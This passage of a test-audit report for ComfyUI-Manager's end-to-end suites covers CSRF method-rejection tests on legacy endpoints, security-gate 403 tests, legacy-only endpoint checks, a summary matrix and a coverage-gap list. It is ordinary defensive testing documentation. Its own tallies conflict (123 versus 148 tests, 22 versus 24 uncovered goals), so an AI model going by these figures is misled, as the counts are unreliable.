**Scope**: GET-rejection contract on state-changing endpoints when the server is loaded under `--enable-manager-legacy-ui` (mutex with glob). 5 test functions; this section enumerates each of the 29 parametrized invocations as its own row so the per-invocation coverage is visible in the Summary Matrix (§18 aggregates its 26 invocations under 4 class rows — post-WI-HH — while the legacy section adopts row-per-invocation granularity for parity with the CSRF endpoint fixture in `endpoint_scenarios.md`). Post-WI-JJ: +2 reject-GET rows (legacy-only install endpoints) +1 flag-value parity row.
|
||||
|
||||
**Why a separate file** (per docstring L7–13): `comfyui_manager/__init__.py` loads `glob.manager_server` XOR `legacy.manager_server`, so a single server lifecycle cannot exercise both route tables. Verifying legacy CSRF therefore needs its own fixture (`_start_comfyui_legacy()` via `start_comfyui_legacy.sh`). Without this suite, a regression that reverts a legacy `@routes.post` back to `@routes.get` would not be caught by CI.
|
||||
|
||||
**Endpoint adjustments vs §18** (per docstring L23–36):
|
||||
- `/v2/manager/queue/task` → dropped (glob-only; legacy uses `queue/batch`)
|
||||
- `/v2/manager/queue/batch` → added (legacy task-enqueue; mirrors glob `queue/task`)
|
||||
- `/v2/manager/db_mode`, `/v2/manager/policy/update`, `/v2/manager/channel_url_list` → dropped from reject-GET (the CSRF contract applies only to the POST write-path; legacy splits these into `@routes.get` read + `@routes.post` write, identical to glob). These 3 endpoints remain in the ALLOW-GET class below. (The glob §18 test_e2e_csrf.py currently lists them in BOTH classes; WI-HH tracks the glob-side correction separately.)
|
||||
|
||||
### TestLegacyStateChangingEndpointsRejectGet::test_get_is_rejected (parametrized ×15)
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `[/v2/manager/queue/start]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected (status ∈ {400,403,404,405}, not in 200–399). |
|
||||
| `[/v2/manager/queue/reset]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/queue/update_all]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/queue/update_comfyui]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/queue/install_model]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/queue/batch]` | CSRF-M1 (legacy, legacy-only endpoint) | ✅ PASS | GET rejected; legacy task-enqueue counterpart to glob `queue/task`. |
|
||||
| `[/v2/snapshot/save]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/snapshot/remove]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/snapshot/restore]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/manager/reboot]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/comfyui_manager/comfyui_switch_version]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/customnode/import_fail_info]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/customnode/import_fail_info_bulk]` | CSRF-M1 (legacy) | ✅ PASS | GET rejected. |
|
||||
| `[/v2/customnode/install/git_url]` | CSRF-M1 (legacy, legacy-only endpoint) | ✅ PASS | GET rejected; WI-JJ added for legacy-only install-by-git-URL coverage. |
|
||||
| `[/v2/customnode/install/pip]` | CSRF-M1 (legacy, legacy-only endpoint) | ✅ PASS | GET rejected; WI-JJ added for legacy-only install-pip coverage. |
|
||||
|
||||
### TestLegacyCsrfPostWorks (2 tests)
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `test_queue_reset_post_works` | CSRF-M2a (legacy POST sanity) | ✅ PASS | POST `/v2/manager/queue/reset` returns 200. |
|
||||
| `test_snapshot_save_post_works` | CSRF-M2b (legacy POST + cleanup) | ✅ PASS | POST `/v2/snapshot/save` returns 200; cleanup via `getlist` + `snapshot/remove`. |
|
||||
|
||||
### TestLegacyCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds (parametrized ×11)
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `[/v2/manager/version]` | CSRF-M3 (legacy negative control) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/db_mode]` | CSRF-M3 (legacy, read path of dual-purpose endpoint) | ✅ PASS | GET returns 200 (read path preserved after GET→POST split). |
|
||||
| `[/v2/manager/policy/update]` | CSRF-M3 (legacy, read path of dual-purpose endpoint) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/channel_url_list]` | CSRF-M3 (legacy, read path of dual-purpose endpoint) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/queue/status]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/queue/history_list]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/manager/is_legacy_manager_ui]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200 (returns True under legacy mode). |
|
||||
| `[/v2/customnode/installed]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/snapshot/getlist]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/snapshot/get_current]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
| `[/v2/comfyui_manager/comfyui_versions]` | CSRF-M3 (legacy) | ✅ PASS | GET returns 200. |
|
||||
|
||||
### TestLegacyIsLegacyManagerUIReturnsTrue (1 test)
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `test_returns_true_under_legacy_mode` | Legacy UI flag-value parity (mirror of `system_info.py::test_returns_boolean_field`) | ✅ PASS | GET `/v2/manager/is_legacy_manager_ui` returns 200 with body `{"is_legacy_manager_ui": True}` under `start_comfyui_legacy.sh` (which sets --enable-manager-legacy-ui). Symmetric to the glob-side False assertion. Guards against the wrapper/flag-drop regression class flagged in WI-EE. |
|
||||
|
||||
**Key observations**:
|
||||
- Closes the legacy-side coverage gap identified in WI-FF (commit 99caef55 applied ~92 lines of GET→POST conversion to `legacy/manager_server.py` in parallel with the ~91 lines in `glob/manager_server.py`; prior to this suite, only the glob half was regression-guarded).
|
||||
- Same scope limits as §18 apply here: ONLY the method-reject layer is verified. Origin/Referer validation, same-site cookies, anti-CSRF tokens, and cross-site form POST are out of scope per docstring L44–48.
|
||||
- Goals CSRF-M1/M2a/M2b/M3 referenced in §18 now have a second test-reference pair (legacy counterpart) — `verification_design.md` §10 continues to cover both because the Test reference strings in that section already read as "in `glob/manager_server.py` (mirror in `legacy/manager_server.py`)".
|
||||
|
||||
**File verdict**: 29/29 ✅ PASS (15 reject-GET + 2 POST-works + 11 allow-GET + 1 flag-value parity; counted per parametrized invocation — see §19 intro for the per-invocation vs per-function accounting choice).
|
||||
|
||||
---
|
||||
|
||||
## 20. tests/e2e/test_e2e_secgate_strict.py — Strict-mode security-gate PoC (WI-KK deliverable)
|
||||
|
||||
**Reference**: WI-KK (#182) — T2 SECGATE harness design + SR4 PoC; audit-integrated by WI-LL.
|
||||
**Scope**: Proof-of-concept that the 4 middle/middle+ gate 403 contracts are verifiable via a strict-mode fixture (`start_comfyui_strict.sh` + `config.ini` backup/restore). SR4 is the first Goal to land here; SR6/V5/UA2 remain T2-pending but are now *harness-ready* — each is a mechanical addition to this file once the PR for WI-KK lands.
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `TestSecurityGate403_SR4::test_remove_returns_403` | SR4 (snapshot/remove <middle 403) | ✅ PASS | Seeds a snapshot file on disk → POST `/v2/snapshot/remove?target=…` under `security_level=strong` → asserts 403 AND the seed file is NOT deleted (negative-check per `verification_design.md` §7.3 Security Boundary Template). |
|
||||
|
||||
**Placeholder removed** (WI-MM bloat-sweep dbg:ci-012 B7 stale-skip): `test_post_works_at_default_after_restore` previously held a pytest.skip TODO deferral but was never going to be implemented here — the positive counterpart is covered by `test_e2e_secgate_default.py` which has its own (default) startup. The skip-only row added no verification signal, so it was deleted; the intent is preserved as a module-level comment at the file's tail.
|
||||
|
||||
**Key observations**:
|
||||
- Demonstrates the `config.ini` backup/restore pattern required for strict-mode fixtures: `MANAGER_CONFIG + ".before-strict"` is written by `start_comfyui_strict.sh` and rolled back in fixture teardown so subsequent modules continue to see `security_level=normal`.
|
||||
- Teardown ordering is contract-critical: **stop server → restore config** (the script holds the config file lock; restoring before stopping causes the running process to re-snapshot the stale config at next write). Documented in the fixture's `finally` block.
|
||||
|
||||
**File verdict**: 1/1 ✅ PASS (1 additional skipped stub documented above — N/A but not counted as a row per the dispatch's +2 PASS target).
|
||||
|
||||
---
|
||||
|
||||
## 21. tests/e2e/test_e2e_secgate_default.py — Default-mode security-gate demo (WI-KK deliverable)
|
||||
|
||||
**Reference**: WI-KK research finding (#183, #186) — high+ gates are 403-testable at the default `security_level=normal` without any harness. Audit-integrated by WI-LL.
|
||||
**Scope**: Demonstrates that 4 of the 8 original T2 SECGATE-PENDING Goals are not actually harness-dependent: at `is_local_mode=True` (our default 127.0.0.1 E2E setup), the high+ check in `security_utils.py` L14–40 returns True iff `security_level ∈ [WEAK, NORMAL_]` — and default NORMAL is NOT in that set, so high+ operations return False → 403 directly at the HTTP handler. CV4 is the cleanest example: its gate is the FIRST check in the handler (`glob/manager_server.py:1856`) so no setup is needed.
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `TestSecurityGate403_CV4::test_switch_version_returns_403_at_default` | CV4 (comfyui_switch_version <high+ 403) | ✅ PASS | Sends POST `/v2/comfyui_manager/comfyui_switch_version` with a syntactically valid `ver` query at the default `security_level=normal` → asserts 403 precedes any Pydantic validation step. |
|
||||
|
||||
**Key observations** (deferred-Goal narrative, per file docstring L24–34):
|
||||
- **IM4** (Non-safetensors block, original T2): reclassified to **T2-TASKLEVEL** — the non-safetensors check lives DEEP in the install pipeline (`get_risky_level` + worker), not at the HTTP handler. POST `/v2/manager/queue/install_model` accepts the JSON and queues a task; rejection only surfaces during task execution. Requires a *queue-observation* test pattern, not a simple HTTP 403 check.
|
||||
- **LGU2**, **LPP2** (legacy install git_url / pip, original T2): reclassified to **NORMAL-legacy** — registered ONLY in `legacy/manager_server.py` (L1502, L1522), not glob. Testing needs the `start_comfyui_legacy.sh` fixture — a follow-up `test_e2e_secgate_legacy_default.py` module is the natural home. Harness-ready (legacy fixture already exists from WI-FF).
|
||||
- These three deferrals explain why WI-LL resolves 2 Goals (SR4, CV4) here and reclassifies the remaining 6 rather than covering all 8 in this single WI.
|
||||
|
||||
**File verdict**: 1/1 ✅ PASS.
|
||||
|
||||
---
|
||||
|
||||
## 22. tests/e2e/test_e2e_legacy_endpoints.py — Legacy-only endpoint positive-path suite (WI-TT + WI-UU deliverable)
|
||||
|
||||
**Reference**: WI-TT seeded this file with 6 GET positive-path tests closing pytest-N gaps (wi-031/032/033/034/035/036). WI-UU extends the file with a 7th test — the POST `/v2/manager/queue/batch` positive-path (wi-039) — closing the pytest-I gap for the high-fanout queue-batch endpoint. All seven routes are registered only in `legacy/manager_server.py` and reachable only under `--enable-manager-legacy-ui`, so they share the same legacy fixture (`start_comfyui_legacy.sh`, PORT 8199) mirroring the `test_e2e_csrf_legacy.py` pattern.
|
||||
**Scope**: Positive-path assertions — status 200 + response-shape verification for each legacy-only endpoint. `disabled_versions` additionally accepts 400 as a valid branch because the handler returns 400 when the target node has no disabled versions (empty-result convention, not a validation error). `queue/batch` uses an empty-payload strategy to exercise the full handler path (parse → action-loop no-op → finalize-with-empty-guard → `_queue_start()` → JSON 200) with zero state mutation, plus a queue/status liveness check to verify the worker lock was released cleanly.
|
||||
|
||||
| Test | Design Goal | Verdict | Evidence |
|
||||
|---|---|---|---|
|
||||
| `TestLegacyCustomNodeAlternatives::test_returns_dict_of_alternatives` | Endpoint contract (alternatives — wi-031) | ✅ PASS | GET `/customnode/alternatives?mode=local` → 200 + dict body. Exercises unified-key mapping path (handler L1072-1084). |
|
||||
| `TestLegacyCustomNodeDisabledVersions::test_endpoint_reachable_and_parses_param` | Endpoint contract (disabled_versions — wi-032) | ✅ PASS | GET `/v2/customnode/disabled_versions/ComfyUI_SigmoidOffsetScheduler` → status ∈ {200, 400}; 200 body asserted as list of `{version}` entries. Seed pack has no disabled versions → 400 is the live branch, 200 is guarded for when state is mutated. |
|
||||
| `TestLegacyCustomNodeGetList::test_returns_channel_and_node_packs` | Endpoint contract (getlist — wi-033) | ✅ PASS | GET `/v2/customnode/getlist?mode=local&skip_update=true` → 200 + `{channel, node_packs}` dict with node_packs as dict. Exercises the unified `get_unified_total_nodes + populate_*` pipeline. |
|
||||
| `TestLegacyCustomNodeVersions::test_returns_versions_list_for_seed_pack` | Endpoint contract (versions — wi-034) | ✅ PASS | GET `/v2/customnode/versions/ComfyUI_SigmoidOffsetScheduler` → 200 + non-empty list. Verifies CNR version lookup for the seed pack (handler L1262-1270). |
|
||||
| `TestLegacyExternalModelGetList::test_returns_models_payload` | Endpoint contract (externalmodel/getlist — wi-035) | ✅ PASS | GET `/v2/externalmodel/getlist?mode=local` → 200 + `{models: [...]}` dict. Exercises model-list.json load + `check_model_installed` annotation path. |
|
||||
| `TestLegacyManagerNotice::test_returns_text_body` | Endpoint contract (notice — wi-036) | ✅ PASS | GET `/v2/manager/notice` → 200 + non-empty text body. Handler returns text/html (not JSON); both the markdown-fetch branch and the 'Unable to retrieve Notice' fallback return 200 with body. |
|
||||
| `TestLegacyQueueBatch::test_accepts_empty_payload_returns_failed_list` | Endpoint contract (queue/batch — wi-039) | ✅ PASS | POST `/v2/manager/queue/batch` with `{}` → 200 + `{"failed": []}`. Safe-payload choice (empty body) exercises full handler path with zero state mutation; `finalize_temp_queue_batch` no-ops via its `if len(temp_queue_batch):` guard (handler L444), and `_queue_start()` releases the task-worker lock cleanly. Post-POST `/v2/manager/queue/status` returns 200 — lock-release liveness check. Closes the wi-039 pytest-I gap (was CSRF-only direct + indirect-via-callers). |
|
||||
|
||||
**File verdict**: 7/7 ✅ PASS.
|
||||
|
||||
---
|
||||
|
||||
# Summary Matrix
|
||||
|
||||
| File | ✅ PASS | ⚠️ WEAK | ❌ INADEQUATE | N/A | Total |
|
||||
|---|---:|---:|---:|---:|---:|
|
||||
| test_e2e_endpoint.py | 3 | 0 | 0 | 1 | 4 |
|
||||
| test_e2e_git_clone.py | 3 | 0 | 0 | 0 | 3 |
|
||||
| test_e2e_config_api.py | 9 | 0 | 0 | 0 | 9 |
|
||||
| test_e2e_customnode_info.py | 10 | 0 | 0 | 0 | 10 |
|
||||
| test_e2e_queue_lifecycle.py | 7 | 0 | 0 | 0 | 7 |
|
||||
| test_e2e_snapshot_lifecycle.py | 7 | 0 | 0 | 0 | 7 |
|
||||
| test_e2e_system_info.py | 4 | 0 | 0 | 0 | 4 |
|
||||
| test_e2e_task_operations.py | 13 | 0 | 0 | 0 | 13 |
|
||||
| test_e2e_version_mgmt.py | 3 | 0 | 0 | 0 | 3 |
|
||||
| test_e2e_csrf.py | 4 | 0 | 0 | 0 | 4 |
|
||||
| test_e2e_csrf_legacy.py | 29 | 0 | 0 | 0 | 29 |
|
||||
| test_e2e_secgate_strict.py | 1 | 0 | 0 | 0 | 1 |
|
||||
| test_e2e_secgate_default.py | 1 | 0 | 0 | 0 | 1 |
|
||||
| test_e2e_legacy_endpoints.py | 7 | 0 | 0 | 0 | 7 |
|
||||
| legacy-ui-manager-menu.spec.ts | 5 | 0 | 0 | 0 | 5 |
|
||||
| legacy-ui-custom-nodes.spec.ts | 5 | 0 | 0 | 0 | 5 |
|
||||
| legacy-ui-model-manager.spec.ts | 4 | 0 | 0 | 0 | 4 |
|
||||
| legacy-ui-snapshot.spec.ts | 3 | 0 | 0 | 0 | 3 |
|
||||
| legacy-ui-navigation.spec.ts | 2 | 0 | 0 | 0 | 2 |
|
||||
| legacy-ui-install.spec.ts | 2 | 0 | 0 | 0 | 2 |
|
||||
| **TOTAL** | **122** | **0** | **0** | **1** | **123** |
|
||||
|
||||
(Count adjusted to 109 after Wave1 WI-L/M/N: 10 WEAK→PASS upgrades across 5 files (endpoint, git_clone, customnode_info, queue_lifecycle, version_mgmt) + 1 WEAK-row retired via WI-M dedup (test_get_current_returns_dict folded into strengthened test_get_current_snapshot — the folded row is treated as a deletion rather than a separate upgrade). Stage2 WI-F earlier established the 110 baseline from 112 by retiring 4 INADEQUATE legacy-ui tests with net +2 PASS. Wave2 WI-P/Q added 7 more WEAK→PASS upgrades (WI-P: task_operations 6 upgrades for update/fix effect + params; WI-Q: snapshot_lifecycle 1 upgrade for save_snapshot disk + content verification). Wave3 WI-T/U/W completed the reconciliation with 10 further WEAK→PASS upgrades: WI-T Cluster C+G strengthened queue_lifecycle (3), customnode_info (1), system_info (1) for field-level effect checks; WI-U Cluster H rewrote 3 Playwright legacy-ui specs (manager-menu 2, custom-nodes 1, model-manager 2) to verify UI state via dialog reopen / `<select>.value` assertions instead of direct API; WI-W fixed the TaskHistoryItem schema-drop regression enabling queue_lifecycle un-skip. Cumulative **upgrade** count across the three waves = 10 + 7 + 10 = **27** (unchanged). WI-Z reconciled the audit with the actual test-file surface (no upgrades, only inventory): Y1 recorded the pre-existing `test_remove_path_traversal_rejected` in snapshot_lifecycle (§7, 6→7), and Y3 recorded 5 pre-existing config_api rows (junk_value rejections ×3 + persists_to_config_ini ×2 from WI-E/WI-I, §4, 10→15). WI-AA recorded the pre-existing `legacy-ui-install.spec.ts` (LB1 + LB2) as new §16 — these UI-driven install/uninstall tests (from WI-U Cluster) close the LB1/LB2 gap formerly flagged in `coverage_gaps.md`. WI-GG added new §19 for `test_e2e_csrf_legacy.py` (from WI-FF): 4 new test functions / 26 parametrized invocations closing the legacy-side CSRF regression-guard gap — counted per-invocation (+26 PASS rows) for parity with the CSRF endpoint-fixture accounting in `endpoint_scenarios.md`; this is an accounting-granularity choice, not a contract addition (CSRF-M1/M2/M3 Goals were already referenced in §18). Total test count progression: **109 → 115 (WI-Z) → 117 (WI-AA) → 143 (WI-GG) → 146 (WI-JJ) → 148 (WI-LL)**; all 39 added rows were **pre-existing** tests or newly-added tests from their source WIs, not new engineering work performed by the audit reconciliation itself.)
|
||||
|
||||
> **Note**: The matrix above counts *tests* (148), not *design Goals* (92).
|
||||
> See `reports/verification_design.md` for the 92 Goals and the RV-B trace
|
||||
> (adhoc-rv-b-trace session evidence) for the Goal↔test cross-reference.
|
||||
> **Design-Goal coverage: 70/92 Goals referenced (76.1%), 22 Goals absent from this audit** — see § Design-Goal Coverage Gap below. With the 3 CSRF-mitigation Goals (CSRF-M1/M2/M3) from `verification_design.md` Section 10 added as supplementary coverage, the superset tally is **73/95** (76.8%). (WI-Z Y1 strengthens SR3 coverage from Key-gap note to an actual ✅ PASS row (`test_remove_path_traversal_rejected`); WI-AA adds ✅ PASS rows for LB1/LB2 via `legacy-ui-install.spec.ts`. WI-GG adds a second test-reference for CSRF-M1/M2/M3 via `test_e2e_csrf_legacy.py` but does NOT introduce new Goals — each CSRF-M Goal is now backed by paired glob + legacy coverage. WI-LL adds two previously T2 SECGATE-PENDING Goals (SR4 via `test_e2e_secgate_strict.py` §20, CV4 via `test_e2e_secgate_default.py` §21) as formal ✅ PASS rows — reclassifying them from "T2-pending" Key-gap notes to test-backed coverage. The 68→70 base tally uplift reflects this formal-status upgrade: SR4 and CV4 transition from Key-gap reference to explicit test-row-backed Goals.)
|
||||
|
||||
Percentages (excluding N/A, denominator = 122+0+0 = 122):
|
||||
- ✅ PASS: 122 / 122 = 100%
|
||||
- ⚠️ WEAK: 0 / 122 = 0%
|
||||
- ❌ INADEQUATE: 0 / 122 = 0%
|
||||
|
||||
---
|
||||
|
||||
# Design-Goal Coverage Gap
|
||||
|
||||
24 of 92 design Goals (`reports/verification_design.md`) have no corresponding row in
|
||||
the test audit above. Full list:
|
||||
|
||||
| Section | Goal | Intent | Recommended |
|
||||
|---|---|---|---|
|
||||
| 1.1 | A3 | Skip install when already disabled | NORMAL add |
|
||||
| 1.1 | A4 | Reject bad kind | NORMAL add |
|
||||
| 1.1 | A5 | Reject missing traceability | NORMAL add |
|
||||
| 1.1 | A6 | Worker auto-spawn on queue | NORMAL add |
|
||||
| 1.2 | U2 | Idempotent uninstall missing | NORMAL add |
|
||||
| 1.3 | UP2 | Idempotent up-to-date | NORMAL add |
|
||||
| 1.5 | D2 | Idempotent disable | NORMAL add |
|
||||
| 1.7 | IM3 | Non-whitelist URL reject | NORMAL add |
|
||||
| 1.7 | IM4 | Non-safetensors block | **T2-TASKLEVEL** (WI-KK: no synchronous 403; requires queue-observation pattern at worker execution stage) |
|
||||
| 1.8 | UA2 | update_all secgate | **T2-pending (harness-ready)** (WI-KK: mechanical addition to `test_e2e_secgate_strict.py` using the SR4 fixture pattern) |
|
||||
| 1.10 | R2 | Idempotent reset empty | NORMAL add |
|
||||
| 1.13 | QH1 | history by id (positive) | NORMAL add |
|
||||
| 1.14 | QHL2 | Empty history list | NORMAL add |
|
||||
| 2.1 | CM2 | Nickname mode | NORMAL add |
|
||||
| 2.1 | CM3 | Require explicit mode | NORMAL add |
|
||||
| 3.2 | SS2 | Multiple saves distinct | NORMAL add |
|
||||
| 4.6 | C6 | Channel unknown no-op | NORMAL add |
|
||||
| 5.4 | CV2 | Non-git error branch | NORMAL add |
|
||||
| 6.1 | LB4 | UI update-all | NORMAL add |
|
||||
| 6.1 | LB5 | Batch partial failure | NORMAL add |
|
||||
| 6.2 | LG2 | skip_update perf | NORMAL add |
|
||||
| 6.4 | LM2 | Install flag seed | NORMAL add |
|
||||
| 6.5 | LV1 | Version dropdown | NORMAL add |
|
||||
| 6.5 | LV2 | Unknown pack 400 | NORMAL add |
|
||||
|
||||
Final Goal-class tally (92 design Goals): KEEP 22 (SR4 + CV4 promoted post-WI-LL) / NORMAL strengthen 25 / NORMAL add 39 (22 UNREF + 14 GAP + 3 T1 DESTRUCTIVE-SAFE) / T2 PENDING-SECGATE **reduced 8 → 4 and reclassified** (see WI-KK SECGATE Harness Design block below) / T3 IRREDUCIBLE-NA 0. With the supplementary CSRF-M1/M2/M3 Goals covered by `verification_design.md` Section 10, superset tally is 95 Goals: KEEP 25 / rest unchanged.
|
||||
|
||||
---
|
||||
|
||||
# Priority Fixes
|
||||
|
||||
## 🔴 Critical (INADEQUATE — must fix)
|
||||
|
||||
1. ~~**test_install_model_accepts_valid_request** — add queue/status verification after POST (task was queued)~~ **RESOLVED (Stage2 WI-D)**: upgraded to delta assertion + worker-observation polling + optional history trace. Verdict: INADEQUATE → ✅ PASS.
|
||||
2. ~~**legacy-ui-snapshot.spec.ts::lists existing snapshots** — delete (redundant) OR rewrite~~ **RESOLVED (Stage2 WI-F)**: DELETED; coverage by `test_e2e_snapshot_lifecycle.py::test_getlist_after_save` (pytest regression 12/12 PASS).
|
||||
3. ~~**legacy-ui-snapshot.spec.ts::save snapshot via API** — delete (redundant) OR rewrite~~ **RESOLVED (Stage2 WI-F)**: REWRITTEN as `SS1 Save button creates a new snapshot row` (UI-driven click of dialog Save/Create button). Additional bonus: new `UI Remove button deletes a snapshot row` test also added.
|
||||
4. ~~**legacy-ui-navigation.spec.ts::API health check** — delete~~ **RESOLVED (Stage2 WI-F)**: DELETED; version covered by `test_e2e_system_info.py::test_version_returns_string`.
|
||||
5. ~~**legacy-ui-navigation.spec.ts::system endpoints accessible** — delete~~ **RESOLVED (Stage2 WI-F)**: DELETED; redundant with pytest system_info suite.
|
||||
|
||||
## 🟡 Important (WEAK — should strengthen)
|
||||
|
||||
### ~~Config tests (test_e2e_config_api.py)~~ **RESOLVED (Stage3 WI-E + WI-G)**
|
||||
- ~~Add `config.ini` file-mutation assertion after POST (not just GET round-trip)~~ — WI-E helper + WI-G propagation added disk-mutation assertions to all 3 set-and-restore tests + all 3 invalid-body negative-state assertions.
|
||||
- ~~Add "survive restart" test (set value → reboot → verify value preserved)~~ — reboot-persistence helper applied to all 3 set-and-restore tests. §4: 6 WEAK → PASS.
|
||||
|
||||
### Snapshot tests (test_e2e_snapshot_lifecycle.py)
|
||||
- ~~Verify `test_save_snapshot` creates file on disk (currently only checks 200)~~ — Wave2 WI-Q: file-on-disk glob + JSON dict load asserted in strengthened test.
|
||||
- ~~Add path-traversal test on remove (SR3)~~ — **RESOLVED (WI-Z Y1)**: covered by `test_remove_path_traversal_rejected` (source L300–L328).
|
||||
- ~~Add test `test_save_snapshot_content_matches_get_current` (SS1 full)~~ — Wave2 WI-Q: folded into strengthened `test_save_snapshot` — asserts saved file's `cnr_custom_nodes` matches live GET /v2/snapshot/get_current.
|
||||
|
||||
### ~~Queue lifecycle tests (test_e2e_queue_lifecycle.py)~~ **RESOLVED (Wave3 WI-T Cluster G + WI-W)**
|
||||
- ~~Add test verifying `queue/history_list` ids match actual filesystem files~~ — Wave3 WI-T: 3 WEAK → PASS (history_list FS match + field-level effect checks).
|
||||
- ~~`queue/history?id=...` params skip~~ — Wave3 WI-W: TaskHistoryItem schema-drop regression fixed, history_list endpoint un-skipped with params preserved.
|
||||
- Remaining 🟢 gap: path-traversal test on `queue/history?id=...` (QH2) — destructive-safe, deferred.
|
||||
|
||||
### ~~Task operations (test_e2e_task_operations.py)~~ **RESOLVED (Wave2 WI-P)**
|
||||
- ~~**update**: verify actual version change after update~~ — Wave2 WI-P: version-change assertion added.
|
||||
- ~~**fix**: induce broken dependency, verify fix heals~~ — Wave2 WI-P: broken-dep fixture + heal assertion added.
|
||||
- ~~**update_all**: verify pending_count matches active node count~~ — Wave2 WI-P: pending_count equivalence asserted.
|
||||
- ~~**update_comfyui stable**: verify queued task.params.is_stable~~ — Wave2 WI-P: queued-task params assertion added. §9: 6 WEAK → PASS.
|
||||
|
||||
### ~~Playwright Manager menu~~ **RESOLVED (Wave3 WI-U Cluster H)**
|
||||
- ~~Rewrite DB mode + Policy dropdown tests to verify UI state (dialog reopen → `<select>.value` matches) instead of direct API~~ — Wave3 WI-U: 2 WEAK → PASS via UI-driven dialog reopen assertions.
|
||||
|
||||
### ~~Missing UI→effect tests~~ **RESOLVED (Wave3 WI-U Cluster H; partial carry-over to 🟢)**
|
||||
- ~~Click "Install" on Custom Nodes row → verify pack installed (LB1)~~ — Wave3 WI-U: custom-nodes 1 WEAK → PASS with pack-install UI→effect assertion.
|
||||
- ~~Click "Uninstall" on row → verify pack removed (LB2)~~ — Wave3 WI-U: uninstall UI→effect assertion added.
|
||||
- ~~Click "Save Snapshot" UI button → new row in dialog (SS1 UI-driven)~~ — Stage2 WI-F already added; retained in Wave3 regression.
|
||||
- ~~Click "Install" on Model Manager row → verify file downloaded (LM1 full)~~ — Wave3 WI-U: model-manager 2 WEAK → PASS with file-downloaded UI→effect assertions.
|
||||
|
||||
## 🟢 Nice (gaps, not wrong — just incomplete)
|
||||
|
||||
- V4 COMFY_CLI_SESSION reboot mode
|
||||
- ~~All `middle`/`middle+`/`high+` security 403 tests (requires separate security_level env)~~ **PARTIAL (WI-LL)**: SR4 + CV4 covered; SR6/V5/UA2 remain as T2-pending-harness-ready (mechanical additions to `test_e2e_secgate_strict.py`); LGU2/LPP2 remain as NORMAL-legacy (follow-up `test_e2e_secgate_legacy_default.py`); IM4 reclassified to T2-TASKLEVEL (queue-observation pattern). See WI-KK SECGATE Harness Design block above for the propagation plan.
|
||||
- IF1 positive path (known failed pack — needs seed setup)
|
||||
- LN1-LN4 manager/notice tests (4 variants)
|
||||
- LPP1/LPP2 pip install tests
|
||||
- LGU1/LGU2 git_url install tests
|
||||
- LA1 alternatives display test
|
||||
- LDV1 disabled_versions test
|
||||
|
||||
## Classification policy (tier rule)
|
||||
|
||||
A gap is `N/A` only if no E2E observable exists for the design's stated observable.
|
||||
- **T1 DESTRUCTIVE-SAFE** (NORMAL add): design observable is a queued-task record,
|
||||
marker file, or persistent side-effect artifact. Current T1 items: CV3, SR5, V4.
|
||||
- **T2 SECGATE-PENDING** (PENDING-harness): blocked only on restricted-security test
|
||||
harness. WI-KK dissolved the original 8-item T2 bucket into 4 distinct sub-tiers
|
||||
(see **WI-KK SECGATE Harness Design** block below for the reclassification rationale).
|
||||
Current T2 items: SR6, V5, UA2 (3 Goals — harness-ready mechanical additions to
|
||||
`test_e2e_secgate_strict.py`).
|
||||
- **T2-RESOLVED** (WI-LL, post-WI-KK): Goals formally test-backed by the new secgate
|
||||
fixtures. Current items: SR4 (`test_e2e_secgate_strict.py` §20), CV4 (`test_e2e_secgate_default.py` §21).
|
||||
- **NORMAL** (post-WI-KK reclassification): Goals that do NOT need a harness because
|
||||
the default E2E config (`is_local_mode=True` + `security_level=normal`) already
|
||||
triggers the 403 path at the HTTP handler. Current items: CV4 (covered by WI-LL).
|
||||
*(Note: CV4 appears in both T2-RESOLVED and NORMAL because its classification
|
||||
shifted — it was T2 pre-WI-KK, NORMAL post-WI-KK research, and T2-RESOLVED
|
||||
post-WI-LL audit integration. The operational tier is NORMAL; T2-RESOLVED is
|
||||
the audit-status tag.)*
|
||||
- **NORMAL-legacy** (post-WI-KK reclassification): Goals registered ONLY in
|
||||
`legacy/manager_server.py`; need `start_comfyui_legacy.sh` fixture. Current items:
|
||||
LGU2, LPP2 (2 Goals — fixture already exists from WI-FF; implementation pending
|
||||
a dedicated `test_e2e_secgate_legacy_default.py` module).
|
||||
- **T2-TASKLEVEL** (post-WI-KK reclassification): gate check lives in the worker /
|
||||
`get_risky_level` pipeline, not the HTTP handler. Requires queue-observation test
|
||||
pattern, not HTTP 403 check. Current items: IM4 (1 Goal — pattern TBD).
|
||||
